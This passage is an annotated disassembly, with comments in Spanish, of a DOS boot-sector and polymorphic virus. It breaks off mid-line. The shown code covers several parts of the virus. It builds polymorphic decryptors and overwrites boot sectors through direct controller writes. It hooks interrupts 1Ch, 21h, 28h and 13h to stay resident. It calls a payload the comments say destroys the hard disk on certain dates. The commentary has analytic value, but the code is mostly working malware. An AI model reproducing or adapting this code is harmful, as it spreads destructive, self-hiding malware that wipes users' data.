0 Ω; y 3 ∩0DA6:151D 93 XCHG BX,AX Ω; Intercambia AX y BX ∩0DA6:151E 8A87F60F MOV AL,[BX+0FF6] Ω; En AL obtiene un número que Ω; puede ser C0h o C9h ∩0DA6:1522 884402 MOV [SI+02],AL Ω; Forma entonces XOR AX,AX o Ω; XOR CX,CX ∩0DA6:1525 B0D0 MOV AL,D0 Ω; En AL pone el valor D0 ∩0DA6:1527 02C3 ADD AL,BL Ω; AL puede ser entonces D0h, D1h, Ω; D2h o D3h ∩0DA6:1529 884404 MOV [SI+04],AL Ω; Forma la instrucción Ω; MOV SS,AX/CX/DX/BX ∩0DA6:152C A5 MOVSW Ω; Copia 8 bytes al destino ∩0DA6:152D A5 MOVSW ∩0DA6:152E A5 MOVSW ∩0DA6:152F A5 MOVSW ∩0DA6:1530 8AF3 MOV DH,BL Ω; Guarda BL en DH ∩0DA6:1532 33C9 XOR CX,CX Ω; CX = 0 ∩0DA6:1534 E88200 CALL 15B9 Ω; Sigue modificando ∩0DA6:1537 E800F4 CALL 093A Ω; Obtiene otro word aleatorio de Ω; la cadena de aleatorios ∩0DA6:153A 0BC0 OR AX,AX Ω; Mira si tiene paridad par (?) ∩0DA6:153C 7A0F JPE 154D Ω; Salta si es esto para invertir Ω; el orden de una instrucción ∩0DA6:153E 8B04 MOV AX,[SI] Ω; Coge en AX lo que apunta [SI] Ω; (el byte 8 del código para el Ω; BOOT) ∩0DA6:1540 83C602 ADD SI,+02 Ω; Incrementa el puntero ∩0DA6:1543 800E8C0108 OR BYTE PTR [018C],08 Ω; Activa el bit 3 en [018C] ∩0DA6:1548 A5 MOVSW Ω; Copia 3 bytes ∩0DA6:1549 A4 MOVSB ∩0DA6:154A AB STOSW Ω; Almacena AX en ese sitio ∩0DA6:154B EB03 JMP 1550 Ω; Salta ∩0DA6:154D A5 MOVSW Ω; Aquí si tiene paridad impar, y ∩0DA6:154E A5 MOVSW Ω; esto hace que lo copie tal y ∩0DA6:154F A4 MOVSB Ω; como está ∩0DA6:1550 E8AC00 CALL 15FF Ω; Inserta el opcode en DL si és- Ω; te no es el de DS: ∩0DA6:1553 A5 MOVSW Ω; Sigue copiando ∩0DA6:1554 C6065C0FFF MOV BYTE PTR [0F5C],FF Ω; Pone en [0F5C] el valor Ω; FFh ∩0DA6:1559 E818F6 CALL 0B74 Ω; Inserta una instrucción de com- Ω; probación para el LOOP ∩0DA6:155C E8AC00 CALL 160B Ω; Inserta un ADD *H/*L,01 - Ω; SUB *H/*L,FFh ∩0DA6:155F AD LODSW Ω; Carga el byte en la dirección Ω; en SI ∩0DA6:1560 2AE1 SUB AH,CL Ω; Le resta CL a AH para modificar Ω; el opcode ∩0DA6:1562 AB STOSW Ω; Lo mete en el código ∩0DA6:1563 2ACD SUB CL,CH Ω; Le resta CH a CL ∩0DA6:1565 8AC5 MOV AL,CH Ω; Pone CH en AL ∩0DA6:1567 F6068C0108 TEST BYTE PTR [018C],08 Ω; Comprueba si el bit 3 de Ω; la dirección [018C] está acti- Ω; vo. Si éste está activo, vi- Ω; niendo de la variación en Ω; :1543, significa que ha habido Ω; una inversión en el orden de un Ω; par de instrucciones ∩0DA6:156C 7402 JZ 1570 Ω; Salta si no lo está ∩0DA6:156E 0402 ADD AL,02 Ω; Suma 2 a AL ∩0DA6:1570 80268C01F7 AND BYTE PTR [018C],F7 Ω; Desactiva el bit 3 en Ω; [018C] ∩0DA6:1575 98 CBW Ω; Si el bit 7 en AL está a 1, es Ω; decir, si AL es mayor o igual a Ω; 80h, AH será igual a FFh. Si Ω; por el contrario es menor de Ω; 80h, AH será 0 ∩0DA6:1576 BE771E MOV SI,1E77 Ω; Pone en SI la dirección 1E77, Ω; que es el byte nº8 del BOOT si Ω; éste empieza en :1E6A ∩0DA6:1579 2BF0 SUB SI,AX Ω; Le resta a SI el valor de AX ∩0DA6:157B 8BC1 MOV AX,CX Ω; Pone en AX el valor de CX ∩0DA6:157D 59 POP CX Ω; Saca en CX lo que guardó como Ω; AX, que contiene un word alea- Ω; torio de la cadena de aleato- Ω; rios del virus. Esta operación Ω; sólo es un trámite para poder Ω; sacar BX ∩0DA6:157E 5B POP BX Ω; Saca BX ∩0DA6:157F 51 PUSH CX Ω; Vuelve a guardar el valor en CX ∩0DA6:1580 80FB02 CMP BL,02 Ω; Comprueba si BL es 2 ∩0DA6:1583 7503 JNZ 1588 Ω; Si es infección para discos du- Ω; ros, salta y evita la siguiente Ω; instrucción ∩0DA6:1585 83C63E ADD SI,+3E Ω; Suma a SI 3E para saltar la zo- Ω; na de características del dis- Ω; kette ∩0DA6:1588 98 CBW Ω; Convierte AL en un word en AX Ω; de la manera explicada ante- Ω; riormente ∩0DA6:1589 0104 ADD [SI],AX Ω; Lo suma al inicio del programa Ω; del BOOT que va después del Ω; salto inicial ∩0DA6:158B 58 POP AX Ω; Saca el aleatorio guardado ∩0DA6:158C B91F00 MOV CX,001F Ω; En CX el valor 1Fh (31 en deci- Ω; mal) ∩0DA6:158F BEEF1D MOV SI,1DEF Ω; En SI la dirección del final Ω; del programa para el BOOT que Ω; el virus tiene preparado a tal Ω; efecto ∩0DA6:1592 80FB02 CMP BL,02 Ω; ¿Es infección de diskettes? ∩0DA6:1595 740B JZ 15A2 Ω; Si es, salta ∩0DA6:1597 80FB01 CMP BL,01 Ω; ¿Es infección de discos duros? ∩0DA6:159A 751C JNZ 15B8 Ω; Si no es, salta y retorna Ω; Aquí para discos duros ∩0DA6:159C B92800 MOV CX,0028 Ω; CX = 40 ∩0DA6:159F BE1F14 MOV SI,141F Ω; Copia 40 bytes desde :141F Ω; (si viene de :1595, desde :1DEF) ∩0DA6:15A2 AC LODSB Ω; criptando cada byte con el ∩0DA6:15A3 28E0 SUB AL,AH Ω; aleatorio después de haber he- ∩0DA6:15A5 FEC4 INC AH Ω; cho todas las pirulas pertinen- ∩0DA6:15A7 AA STOSB Ω; tes ∩0DA6:15A8 E2F8 LOOP 15A2 Ω; Realiza esta operación 40 veces ∩0DA6:15AA E88DF3 CALL 093A Ω; Obtiene un aleatorio de su ca- Ω; dena particular ∩0DA6:15AD F7D0 NOT AX Ω; Le hace un NOT ∩0DA6:15AF A36A1F MOV [1F6A],AX Ω; Lo mete en [1F6A] ∩0DA6:15B2 05FFCC ADD AX,CCFF Ω; Le suma a AX el valor de marca Ω; CCFFh ∩0DA6:15B5 A36C1F MOV [1F6C],AX Ω; Lo guarda en [1F6C] ∩0DA6:15B8 C3 RET Ω; Retorna ε;;; Rutina para modificar ciertas instrucciones en el programa de BOOT que ε;; prepara para infectar ∩0DA6:15B9 83C602 ADD SI,+02 Ω; Suma 2 a SI ∩0DA6:15BC E87BF3 CALL 093A Ω; Obtiene un valor de la cadena de Ω; aleatorios ∩0DA6:15BF F7D0 NOT AX Ω; Le hace NOT ∩0DA6:15C1 2403 AND AL,03 Ω; Convierte AL en un número entre Ω; 0 y 3 ∩0DA6:15C3 8AD8 MOV BL,AL Ω; Pone este número en BL ∩0DA6:15C5 8A97CE0F MOV DL,[BX+0FCE]Ω; Obtiene en DL un valor de opcode Ω; para formar DS:/CS:/ES:/SS: ∩0DA6:15C9 3C01 CMP AL,01 Ω; ¿Es AL = 1? ∩0DA6:15CB 742F JZ 15FC Ω; Salta entonces ∩0DA6:15CD 3C03 CMP AL,03 Ω; ¿Es AL = 3? ∩0DA6:15CF 742B JZ 15FC Ω; Salta entonces ∩0DA6:15D1 D0EB SHR BL,1 Ω; Divide BL entre 2, de manera que Ω; se queda a 0 o a 1 ∩0DA6:15D3 B006 MOV AL,06 ∩0DA6:15D5 F6E3 MUL BL ∩0DA6:15D7 8BD8 MOV BX,AX Ω; Multiplica BL por 6, así que BX Ω; será ahora o 0 o 6 ∩0DA6:15D9 E85EF3 CALL 093A Ω; Obtiene un word de la cadena de Ω; aleatorios ∩0DA6:15DC 80E403 AND AH,03 Ω; Reduce AH a un valor entre 0 y 3 ∩0DA6:15DF 80FC03 CMP AH,03 Ω; ¿Es AH = 3? ∩0DA6:15E2 74F5 JZ 15D9 Ω; Si es, vuelve a sacar un aleato- Ω; rio ∩0DA6:15E4 D0E4 SHL AH,1 Ω; Hace a AH un numero que puede Ω; ser 0, 2 o 4 ∩0DA6:15E6 02DC ADD BL,AH Ω; Se lo suma a BL. BX será el nú- Ω; mero 0, 2, 4, 6, 8 o Ah ∩0DA6:15E8 8B87EA0F MOV AX,[BX+0FEA]Ω; Utiliza BX como índice para ob- Ω; tener en AX el opcode de una Ω; instrucción que parece aleatoria ∩0DA6:15EC 3C16 CMP AL,16 Ω; Comprueba si la instrucción o Ω; pareja de instrucciones empieza Ω; por PUSH SS ∩0DA6:15EE 740C JZ 15FC Ω; Si es, salta ∩0DA6:15F0 3C50 CMP AL,50 Ω; Comprueba si empieza por PUSH AX ∩0DA6:15F2 7504 JNZ 15F8 Ω; Si no es, salta ∩0DA6:15F4 02C6 ADD AL,DH Ω; Suma DH a AL, y DH puede ser un Ω; número entre 0, 1, 2 y 3 para Ω; construir la instrucción Ω; MOV DS/ES, AX/CX/DX/BX (estos Ω; últimos según DH). ∩0DA6:15F6 AB STOSW Ω; Lo almacena ∩0DA6:15F7 C3 RET Ω; Retorna ∩0DA6:15F8 02E6 ADD AH,DH Ω; Aquí suma DH a AH para formar Ω; PUSH AX/CX/DX/BX (según DH) - Ω; POP DS/ES ∩0DA6:15FA AB STOSW Ω; Lo almacena ∩0DA6:15FB C3 RET Ω; Retorna Ω; Salto desde :15EE, :15CB y :15CF ∩0DA6:15FC B502 MOV CH,02 Ω; Pone CH a 2 ∩0DA6:15FE C3 RET Ω; Retorna ε;;; Rutina para mirar si va a insertar DS:. Si lo va a insertar, se lo ahorra ∩0DA6:15FF 80FA3E CMP DL,3E Ω; Comprueba si DL es el opcode de Ω; DS: ∩0DA6:1602 7406 JZ 160A Ω; Si es, retorna ∩0DA6:1604 8AC2 MOV AL,DL Ω; Inserta DL ∩0DA6:1606 AA STOSB ∩0DA6:1607 80C101 ADD CL,01 Ω; Añade 1 a CL ∩0DA6:160A C3 RET Ω; Retorna ε;;; Rutina para insertar ADD *L/*H,01 - SUB *L/*H,FFh según los datos que se ε;;; le pasen ∩0DA6:160B E82CF3 CALL 093A Ω; Obtiene un word en AX de la ca- Ω; dena de aleatorios ∩0DA6:160E F7D0 NOT AX Ω; Hace NOT a AX ∩0DA6:1610 02C4 ADD AL,AH Ω; Suma AH a AL ∩0DA6:1612 3C55 CMP AL,55 Ω; Comprueba si AL es 55 (efectuará Ω; el salto con una probabilidad de Ω; 1/3 ∩0DA6:1614 7224 JB 163A Ω; Si es menor, salta ∩0DA6:1616 83C602 ADD SI,+02 Ω; Suma 2 al puntero SI ∩0DA6:1619 80C101 ADD CL,01 Ω; Suma 1 a CL ∩0DA6:161C 8A1E5E0F MOV BL,[0F5E] Ω; Obtiene en BL el valor en [0F5E] ∩0DA6:1620 3CAA CMP AL,AA Ω; Comprueba si AL es AAh (llegará Ω; aquí y saltará con una probabi- Ω; lidad total de 1/3 también). ∩0DA6:1622 720B JB 162F Ω; Salta si es menor ∩0DA6:1624 B080 MOV AL,80 Ω; AL = 80h ∩0DA6:1626 8AA7D60F MOV AH,[BX+0FD6] Ω; Aquí, si llega, insertará una ∩0DA6:162A AB STOSW Ω; instrucción ∩0DA6:162B B001 MOV AL,01 Ω; ADD AL/AH/BL/BH/CL/CH/DL/DH,01 ∩0DA6:162D AA STOSB ∩0DA6:162E C3 RET Ω; Retorna ∩0DA6:162F B080 MOV AL,80 Ω; AL = 80h ∩0DA6:1631 8AA7DE0F MOV AH,[BX+0FDE] Ω; Insertará la instrucción ∩0DA6:1635 AB STOSW Ω; SUB AL/AH/BL/BH/CL/CH/DL/DH,FFh ∩0DA6:1636 B0FF MOV AL,FF ∩0DA6:1638 AA STOSB ∩0DA6:1639 C3 RET Ω; Retorna ∩0DA6:163A A5 MOVSW Ω; Inserta sin más ∩0DA6:163B C3 RET Ω; Retorna ε;;;; Rutina para "matar" un cierto programa en el BOOT que no he identificado ∩0DA6:163C 9C PUSHF Ω; Guarda todos los registros en el ∩0DA6:163D 50 PUSH AX Ω; stack y las banderas ∩0DA6:163E 53 PUSH BX ∩0DA6:163F 51 PUSH CX ∩0DA6:1640 52 PUSH DX ∩0DA6:1641 57 PUSH DI ∩0DA6:1642 56 PUSH SI ∩0DA6:1643 FC CLD Ω; DF (direction flag) a 0 ∩0DA6:1644 8BD3 MOV DX,BX Ω; En DX el buffer de lectura/escritu- Ω; ra para usar con la int 13h ∩0DA6:1646 8BFA MOV DI,DX Ω; En DI la dirección del buffer. Aho- Ω; ra está en BX, DX y DI ∩0DA6:1648 B86665 MOV AX,6566 Ω; En AX, 'ef' ∩0DA6:164B BB6374 MOV BX,7463 Ω; En BX, 'tc' ∩0DA6:164E B90002 MOV CX,0200 Ω; Escanea en todo el BOOT la cadena ∩0DA6:1651 AF SCASW Ω; 'fe' ∩0DA6:1652 7508 JNZ 165C ∩0DA6:1654 93 XCHG BX,AX Ω; Si encuentra esta, mira si forma ∩0DA6:1655 AF SCASW Ω; parte de la cadena 'fect' ∩0DA6:1656 7409 JZ 1661 Ω; Si es, salta ∩0DA6:1658 93 XCHG BX,AX Ω; Vuelve a probar con 'fe' ∩0DA6:1659 83EF02 SUB DI,+02 ∩0DA6:165C 4F DEC DI ∩0DA6:165D E2F2 LOOP 1651 ∩0DA6:165F EB37 JMP 1698 Ω; Si no lo ha encontrado, salta a :1698 Ω; y retorna. Ω; Aquí si lo ha encontrado ∩0DA6:1661 B84E00 MOV AX,004E Ω; Ahora hace lo mismo con la cadena en Ω; AX 'N',0 ∩0DA6:1664 B90002 MOV CX,0200 Ω; Y lo vuelve a hacer por todo el BOOT ∩0DA6:1667 8BFA MOV DI,DX ∩0DA6:1669 BE0C00 MOV SI,000C Ω; En SI pone el valor 000Ch ∩0DA6:166C AF SCASW Ω; Compara ∩0DA6:166D 7504 JNZ 1673 Ω; Si no es, salta ∩0DA6:166F 26 ES: ∩0DA6:1670 0175FE ADD [DI-02],SI Ω; Resta a esto el valor en SI de Ω; manera que la cadena encontrada se Ω; convierta en 'B',0 ∩0DA6:1673 4F DEC DI ∩0DA6:1674 E2F6 LOOP 166C Ω; Escanea por todo el boot ∩0DA6:1676 48 DEC AX Ω; Convierte AX en 'L',0 y vuelve a ha- ∩0DA6:1677 48 DEC AX Ω; cer lo mismo, cambiando en este caso Ω; esta cadena por '?',0 ∩0DA6:1678 3D4C00 CMP AX,004C Ω; Mira si ya ha probado con 004Ch ∩0DA6:167B 74E7 JZ 1664 Ω; Si no lo ha hecho, salta a repetirlo ∩0DA6:167D 8BFA MOV DI,DX Ω; En DI de nuevo la dirección donde se Ω; leyó el BOOT ∩0DA6:167F B9C001 MOV CX,01C0 Ω; Ahora en los 448 primeros bytes in- ∩0DA6:1682 B88002 MOV AX,0280 Ω; tenta buscar un word entre el valor Ω; 7E02h y 8002h ∩0DA6:1685 AF SCASW Ω; Escanea ∩0DA6:1686 720D JB 1695 Ω; Si AX es menor, salta ∩0DA6:1688 4F DEC DI Ω; Pone el anterior DI ∩0DA6:1689 4F DEC DI ∩0DA6:168A 50 PUSH AX Ω; Guarda AX ∩0DA6:168B 48 DEC AX Ω; Decrementa AX dos vecez para hacerlo ∩0DA6:168C 48 DEC AX Ω; 027Eh ∩0DA6:168D AF SCASW Ω; Comprueba ∩0DA6:168E 58 POP AX Ω; Saca AX ∩0DA6:168F 7704 JA 1695 Ω; Si es mayor, salta ∩0DA6:1691 26 ES: Ω; Si ha encontrado un word así, le ∩0DA6:1692 2975FE SUB [DI-02],SI Ω; resta el valor 000Ch ∩0DA6:1695 4F DEC DI ∩0DA6:1696 E2ED LOOP 1685 Ω; Loop para escanear ∩0DA6:1698 5E POP SI Ω; Cuando no ha encontrado la cadena ∩0DA6:1699 5F POP DI Ω; 'fect' o la ha encontrado y ya ha ∩0DA6:169A 5A POP DX Ω; hecho todos los cambios que tocan, ∩0DA6:169B 59 POP CX Ω; saca todos los registros del stack ∩0DA6:169C 5B POP BX Ω; y retorna. ∩0DA6:169D 58 POP AX ∩0DA6:169E 9D POPF ∩0DA6:169F C3 RET ε;;; Rutina para desinfectar el BOOT. Escribe el BOOT original en el Boot-Strap ε;;; sobreescribiendo el BOOT infectado ∩0DA6:16A0 B80102 MOV AX,0201 Ω; Lee el BOOT que hay en el ∩0DA6:16A3 BB6A1E MOV BX,1E6A Ω; disco duro y lo pone en :1E6A ∩0DA6:16A6 33C9 XOR CX,CX ∩0DA6:16A8 8ED9 MOV DS,CX Ω; DS = 0 ∩0DA6:16AA 0E PUSH CS ∩0DA6:16AB 07 POP ES ∩0DA6:16AC 41 INC CX ∩0DA6:16AD BA8000 MOV DX,0080 ∩0DA6:16B0 CD13 INT 13 ∩0DA6:16B2 BF2820 MOV DI,2028 Ω; En DI la posición +28h del Ω; BOOT original del sistema ∩0DA6:16B5 BEBE7D MOV SI,7DBE Ω; En SI la posición +01BEh del Ω; BOOT original (copiado a Ω; 0000:7C00) ∩0DA6:16B8 B140 MOV CL,40 Ω; Copia 64 bytes a :2028 ∩0DA6:16BA F3 REPZ ∩0DA6:16BB A4 MOVSB ∩0DA6:16BC 41 INC CX Ω; CX = 0001 ∩0DA6:16BD 0E PUSH CS Ω; DS = CS ∩0DA6:16BE 1F POP DS ∩0DA6:16BF B80103 MOV AX,0301 Ω; Función de escritura ∩0DA6:16C2 882ECA16 MOV [16CA],CH Ω; En [16CA], el valor 0 ∩0DA6:16C6 E80E03 CALL 19D7 Ω; Escribe el BOOT al disco du- Ω; ro usando directamente los Ω; ports de hardware de la con- Ω; troladora ∩0DA6:16C9 C3 RET Ω; Retorna ∩0DA6:16CA 80 DB 80 Ω; Variable usada en varios sitios, a Ω; nivel de bits ε;;;; Rutina para reescribir el BOOT, no sé con qué oscuras razones ∩0DA6:16CB 50 PUSH AX Ω; Guarda registros ∩0DA6:16CC 53 PUSH BX ∩0DA6:16CD 52 PUSH DX ∩0DA6:16CE B80102 MOV AX,0201 Ω; Lee el BOOT actual en la di- ∩0DA6:16D1 BB6A1E MOV BX,1E6A Ω; rección CS:1E6Ah ∩0DA6:16D4 0E PUSH CS ∩0DA6:16D5 07 POP ES ∩0DA6:16D6 B90100 MOV CX,0001 ∩0DA6:16D9 BA8000 MOV DX,0080 ∩0DA6:16DC E8C601 CALL 18A5 ∩0DA6:16DF BF2820 MOV DI,2028 Ω; Machaca 64 bytes de datos de ∩0DA6:16E2 B140 MOV CL,40 Ω; los que tenía en :2028 perte- ∩0DA6:16E4 F3 REPZ Ω; necientes al BOOT original ∩0DA6:16E5 AA STOSB Ω; del sistema. ∩0DA6:16E6 41 INC CX Ω; CX = 0001 ∩0DA6:16E7 B80103 MOV AX,0301 Ω; Función de escritura y 1 sec- Ω; tor de cantidad a escribir ∩0DA6:16EA E8EA02 CALL 19D7 Ω; Escribe el BOOT al disco du- Ω; ro. Si no puede por software, Ω; lo hará por hardware ∩0DA6:16ED 5A POP DX Ω; Saca registros del stack ∩0DA6:16EE 5B POP BX ∩0DA6:16EF 58 POP AX ∩0DA6:16F0 C3 RET Ω; Retorna ε;;;;;; Rutina para desinfectar el BOOT, comprobar si se tiene que destruir el ε;;;;;; sistema y enganchar la int 1Ch para instalar el virus en memoria. ∩0DA6:16F1 E8ACFF CALL 16A0 Ω; Desinfecta el BOOT ∩0DA6:16F4 E85AEB CALL 0251 Ω; Efecto destructivo: si esta- Ω; mos a 22 de Agosto o Septiem- Ω; bre, despídete de tu disco Ω; duro. Retorna si no estamos Ω; a esos días. Si no, no hace Ω; falta ya que retorne. ∩0DA6:16F7 33C0 XOR AX,AX Ω; DS = 0 ∩0DA6:16F9 8ED8 MOV DS,AX ∩0DA6:16FB BE7000 MOV SI,0070 Ω; En DS:SI la dirección del Ω; vector de la int 1Ch ∩0DA6:16FE BF8801 MOV DI,0188 Ω; Lo guarda en 0188h ∩0DA6:1701 A5 MOVSW Ω; Lo copia allí. ∩0DA6:1702 A5 MOVSW ∩0DA6:1703 BE8400 MOV SI,0084 Ω; Coge ahora el de la int 21h ∩0DA6:1706 BF0D1B MOV DI,1B0D Ω; Lo copia a :1B0D ∩0DA6:1709 A5 MOVSW ∩0DA6:170A A5 MOVSW ∩0DA6:170B CD12 INT 12 Ω; Obtiene en AX la cantidad en Ω; Kb de la memoria RAM del sis- Ω; tema ∩0DA6:170D 2E CS: Ω; Lo guarda en [1B13] ∩0DA6:170E A3131B MOV [1B13],AX ∩0DA6:1711 832E130409 SUB WORD PTR [0413],+09 Ω; Resta a la memoria total Ω; 9 Kb, que será para pro- Ω; teger la zona donde ha Ω; copiado el virus antes Ω; (y donde aún está) ∩0DA6:1716 90 NOP Ω; ¿¿NOP?? ∩0DA6:1717 2E CS: Ω; Pone en [0E6C] el valor 02 ∩0DA6:1718 C6066C0E02 MOV BYTE PTR [0E6C],02 Ω; para que la obtención de Ω; la int 21h por la int 1Ch Ω; una vez que se haya insta- Ω; lado el DOS se repita 2 Ω; veces ∩0DA6:171D FA CLI Ω; Prohibe interrupciones ∩0DA6:171E 8C0E7200 MOV [0072],CS Ω; Redirecciona la int 1Ch a la ∩0DA6:1722 C70670002D17 MOV WORD PTR [0070],172D Ω; rutina del virus en Ω; :172D ∩0DA6:1728 FB STI Ω; Permite interrupciones de Ω; nuevo ∩0DA6:1729 E8A4F1 CALL 08D0 Ω; Rutina para escribir una ris- Ω; tra de words aleatorios que Ω; después el virus usará a la Ω; hora de hacer los desencrip- Ω; tadores en sus rutinas de po- Ω; limorfismo ∩0DA6:172C C3 RET Ω; Retorna ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ε;;;;;; I N T E R R U P C I O N 1 C h ;;;;;; ε;;;;;; Esta interrupción es usada para que compruebe 18'2 veces por se- ;;;;;; ε;;;;;; gundo si el DOS ya está instalado. Si ya está, entonces pondrá ;;;;;; ε;;;;;; al virus en memoria de una manera más segura que de la que lo ha-;;;;;; ε;;;;;; bía puesto antes. ;;;;;; ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ∩0DA6:172D 50 PUSH AX Ω; Guarda registros ∩0DA6:172E 1E PUSH DS ∩0DA6:172F 06 PUSH ES ∩0DA6:1730 56 PUSH SI ∩0DA6:1731 57 PUSH DI ∩0DA6:1732 33C0 XOR AX,AX Ω; DS = 0 ∩0DA6:1734 8ED8 MOV DS,AX ∩0DA6:1736 BE8400 MOV SI,0084 Ω; En DS:SI el puntero a la int Ω; 21h ∩0DA6:1739 0E PUSH CS Ω; ES = CS ∩0DA6:173A 07 POP ES ∩0DA6:173B BF0D1B MOV DI,1B0D Ω; En DI el sitio donde ha guar- Ω; dado el vector anterior a la Ω; int 21h ∩0DA6:173E FC CLD Ω; Lo compara con el que hay ∩0DA6:173F A7 CMPSW Ω; ahora ∩0DA6:1740 7402 JZ 1744 Ω; Si el primer word es igual, Ω; salta ∩0DA6:1742 B001 MOV AL,01 Ω; AL = 1 ∩0DA6:1744 A7 CMPSW Ω; Comprueba el segundo word ∩0DA6:1745 7402 JZ 1749 Ω; Si es el mismo, salta a :1749 ∩0DA6:1747 B401 MOV AH,01 Ω; AH = 1 ∩0DA6:1749 0BC0 OR AX,AX Ω; ¿Es AX = 0? ∩0DA6:174B 742D JZ 177A Ω; Si es 0, salta y acaba ∩0DA6:174D 83EE04 SUB SI,+04 Ω; Resta 4 a SI ∩0DA6:1750 83EF04 SUB DI,+04 Ω; Resta 4 a DI ∩0DA6:1753 A5 MOVSW Ω; Sustituye el puntero que co- ∩0DA6:1754 A5 MOVSW Ω; gió cuando enganchó la int Ω; 1Ch con el nuevo ∩0DA6:1755 26 ES: Ω; Decrementa el byte en [0E6C]. ∩0DA6:1756 FE0E6C0E DEC BYTE PTR [0E6C] Ω; Este byte es, en principio, Ω; 2, lo que significa que, para Ω; estar seguros, repetirá esto Ω; 2 veces ∩0DA6:175A 751E JNZ 177A Ω; Si no es 0, salta y acaba ∩0DA6:175C BF4714 MOV DI,1447 Ω; Guarda en [1447] el puntero ∩0DA6:175F BE4C00 MOV SI,004C Ω; a la int 13h ∩0DA6:1762 A5 MOVSW ∩0DA6:1763 A5 MOVSW ∩0DA6:1764 BF0D1B MOV DI,1B0D Ω; Lo guarda también en [1B0D] ∩0DA6:1767 BE4C00 MOV SI,004C ∩0DA6:176A A5 MOVSW ∩0DA6:176B A5 MOVSW ∩0DA6:176C BF6001 MOV DI,0160 Ω; Y ahora guarda en [0160] el ∩0DA6:176F BE8400 MOV SI,0084 Ω; puntero a la int 21h ∩0DA6:1772 A5 MOVSW ∩0DA6:1773 A5 MOVSW ∩0DA6:1774 C70670008417 MOV WORD PTR [0070],1784 Ω; En el vector de la int Ω; 1Ch, pone como nuevo Ω; Entry-Point la dirección Ω; :1784 ∩0DA6:177A 5F POP DI Ω; Saca registros del stack ∩0DA6:177B 5E POP SI ∩0DA6:177C 07 POP ES ∩0DA6:177D 1F POP DS ∩0DA6:177E 58 POP AX ∩0DA6:177F 2E CS: Ω; Salta a la dirección verdade- ∩0DA6:1780 FF2E8801 JMP FAR [0188] Ω; ra de la interrupción ε;;;;; Nuevo inicio de la interrupción 1Ch cuando el DOS ya está instalado ∩0DA6:1784 50 PUSH AX Ω; Guarda registros ∩0DA6:1785 1E PUSH DS ∩0DA6:1786 57 PUSH DI ∩0DA6:1787 33C0 XOR AX,AX Ω; DS = 0 ∩0DA6:1789 8ED8 MOV DS,AX ∩0DA6:178B 8E1E8A00 MOV DS,[008A] Ω; En DS el segmento de la int Ω; 22h ∩0DA6:178F A10000 MOV AX,[0000] Ω; Coge el primer word de la int Ω; 22h ∩0DA6:1792 3DCD20 CMP AX,20CD Ω; Comprueba si en el inicio de Ω; la int 22h está la instruc- Ω; ción INT 20 ∩0DA6:1795 7553 JNZ 17EA Ω; Si no es así, salta y acaba. Ω; Si está, significa que el Ω; DOS ya está instalado en me- Ω; moria ∩0DA6:1797 33C0 XOR AX,AX Ω; DS = 0 ∩0DA6:1799 8ED8 MOV DS,AX ∩0DA6:179B 2E CS: Ω; Coge la memoria original del ∩0DA6:179C A1131B MOV AX,[1B13] Ω; sistema y la vuelve a poner ∩0DA6:179F A31304 MOV [0413],AX Ω; en la variable de la BIOS que Ω; la lleva. ∩0DA6:17A2 2E CS: Ω; Reestablece el vector de la ∩0DA6:17A3 A18801 MOV AX,[0188] Ω; int 1Ch con el original ∩0DA6:17A6 A37000 MOV [0070],AX ∩0DA6:17A9 2E CS: ∩0DA6:17AA A18A01 MOV AX,[018A] ∩0DA6:17AD A37200 MOV [0072],AX ∩0DA6:17B0 A18400 MOV AX,[0084] Ω; Coge en AX el vector de la ∩0DA6:17B3 2E CS: Ω; int 21h y lo guarda en [0164] ∩0DA6:17B4 A36401 MOV [0164],AX ∩0DA6:17B7 A18600 MOV AX,[0086] ∩0DA6:17BA 2E CS: ∩0DA6:17BB A36601 MOV [0166],AX ∩0DA6:17BE A1A000 MOV AX,[00A0] Ω; Coge el vector de la int 28h ∩0DA6:17C1 2E CS: Ω; y lo guarda en [1823] ∩0DA6:17C2 A32318 MOV [1823],AX ∩0DA6:17C5 A1A200 MOV AX,[00A2] ∩0DA6:17C8 2E CS: ∩0DA6:17C9 A32518 MOV [1825],AX ∩0DA6:17CC C706A000EF17 MOV WORD PTR [00A0],17EF Ω; Redirecciona la int 28h ∩0DA6:17D2 8C0EA200 MOV [00A2],CS Ω; a la rutina que tiene en Ω; 17EF ∩0DA6:17D6 C70684008803 MOV WORD PTR [0084],0388 Ω; Y ahora redirecciona la ∩0DA6:17DC 8C0E8600 MOV [0086],CS Ω; int 21h a la rutina que Ω; tiene para la int 21h ∩0DA6:17E0 56 PUSH SI Ω; Guarda SI y ES en el stack ∩0DA6:17E1 06 PUSH ES ∩0DA6:17E2 E8D302 CALL 1AB8 Ω; Copia los 5 primeros bytes Ω; de la int 13h y los guarda. ∩0DA6:17E5 E8DF02 CALL 1AC7 Ω; Ahora pone una instrucción Ω; JMP FAR donde comienza la int Ω; 13h que salta al código del Ω; virus. ∩0DA6:17E8 07 POP ES Ω; Saca ES y SI del stack ∩0DA6:17E9 5E POP SI ∩0DA6:17EA 5F POP DI Ω; Saca el resto de registros ∩0DA6:17EB 1F POP DS ∩0DA6:17EC 58 POP AX ∩0DA6:17ED EB90 JMP 177F Ω; Salta y acaba ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ε;;;; N U E V A I N T E R R U P C I O N 2 8 h ;;;; ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ∩0DA6:17EF 50 PUSH AX Ω; Guarda todos los registros ∩0DA6:17F0 53 PUSH BX ∩0DA6:17F1 51 PUSH CX ∩0DA6:17F2 52 PUSH DX ∩0DA6:17F3 06 PUSH ES ∩0DA6:17F4 1E PUSH DS ∩0DA6:17F5 57 PUSH DI ∩0DA6:17F6 56 PUSH SI ∩0DA6:17F7 2E CS: Ω; Comprueba si el bit 7 en ∩0DA6:17F8 F606CA1680 TEST BYTE PTR [16CA],80 Ω; [16CA] está a 1 ∩0DA6:17FD 7515 JNZ 1814 Ω; Si está, salta ∩0DA6:17FF 2E CS: Ω; Lo pone a 1 ∩0DA6:1800 800ECA1680 OR BYTE PTR [16CA],80 ∩0DA6:1805 FC CLD Ω; Hacia delante ∩0DA6:1806 0E PUSH CS Ω; CS = 